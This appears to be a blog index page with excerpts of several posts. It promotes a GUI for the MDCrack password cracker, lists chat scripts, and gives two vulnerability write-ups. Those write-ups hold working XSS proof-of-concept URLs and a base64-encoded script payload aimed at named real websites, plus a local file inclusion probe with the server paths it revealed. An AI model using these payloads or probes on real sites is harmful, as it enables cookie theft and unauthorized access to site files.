Skip to main content

Posts

Showing posts with the label php

New Version of mdcrackgui

"A simple GUI for the mdcrack application. -MDCrack is a free featureful password cracker designed to bruteforce 21 algorithms: MD2, MD4, MD5, HMAC-MD4, HMAC-MD5, FreeBSD, Apache, NTLMv1, IOS and PIX (both enable and user) hashes" List of the supported algorithms MD2, MD4, MD5, MD5MD5, MD4MD4, MD4MD4S, MD5MD5S, HMAC-MD4, HMAC-MD5,IPB2, PHP, PHPS, FREEBSD, NTLM1, PIX, PIX-U, IOS, APACHE, CRC32, CRC32-B, ADLER32 The output/error redirection of the console to a textbox is still not fully working. You can still use the console (as default). https://sourceforge.net/project/mdcrackgui
Post a Comment
Read more

A list of chat, live chat scripts

A list of chat, live chat scripts. https://sourceforge.net/projects/webberchat/ https://sourceforge.net/projects/icsc/ https://sourceforge.net/projects/ajax-chat/ https://sourceforge.net/projects/cconnect/ https://sourceforge.net/projects/phpchatter/ http://www.craftysyntax.com/ http://code.google.com/p/php-lively/ http://mibew.org/ http://www.reallinkchat.com/ http://www.helpcenterlive.com/ http://www.chattist.com/ Under testing
Post a Comment
Read more

www.adnkronos.com | XSS - Local file inclusion (php)

XSS modifies the script within the setTimeout (works after 300000 ms) http://www.adnkronos.com/IGN/Zoom/?id=3.0.4217592951');alert(document.cookie+' http://www.adnkronos.com/IGN/Zoom/?id=3.0.4217592951');alert(document.cookie);",1);setTimeout("alert(' Local File Inclusion the same problem is identical in several parts of the website even if blind (no error in the output). http://www.adnkronos.com/IGN/Zoom/?id= sample error (added a ' ) Warning: include(news/3.0.4217592951\'.inc.php) [function.include]: failed to open stream: No such file or directory in /opt/apache2/www60/IGN/Zoom/index.php on line 11 Warning: include() [function.include]: Failed opening 'news/3.0.4217592951\'.inc.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /opt/apache2/www60/IGN/Zoom/index.php on line 11 The error doesn't always appear. Probably the response is from different servers and only one of those is  showing the...
Post a Comment
Read more

http://base64-decode.php-functions.com/ | XSS

The idea is to use any data to decode (base64 in this case) and see if we can inject the xss. http://base64-decode.php-functions.com/ other websites http://www.motobit.com/util/base64-decoder-encoder.asp http://www.shell-tools.net/index.php?op=base64_dec We need to submit this string base64 encoded  ------------------------------------------------------------- <html><head></head><body></textarea><script>alert(document.cookie);</script><textarea></body></html>   ------------------------------------------------------------- PGh0bWw+PGhlYWQ+PC9oZWFkPjxib2R5PjwvdGV4dGFyZWE+PHNjcmlwdD5hbGVydChkb2N1bWVu dC5jb29raWUpOzwvc2NyaXB0Pjx0ZXh0YXJlYT48L2JvZHk+PC9odG1sPg==  ------------------------------------------------------------- Note: The <textarea> tags are useless in this case but are working in the 90% of other similar cases that are showing the results in a textarea. a diff...
Post a Comment
Read more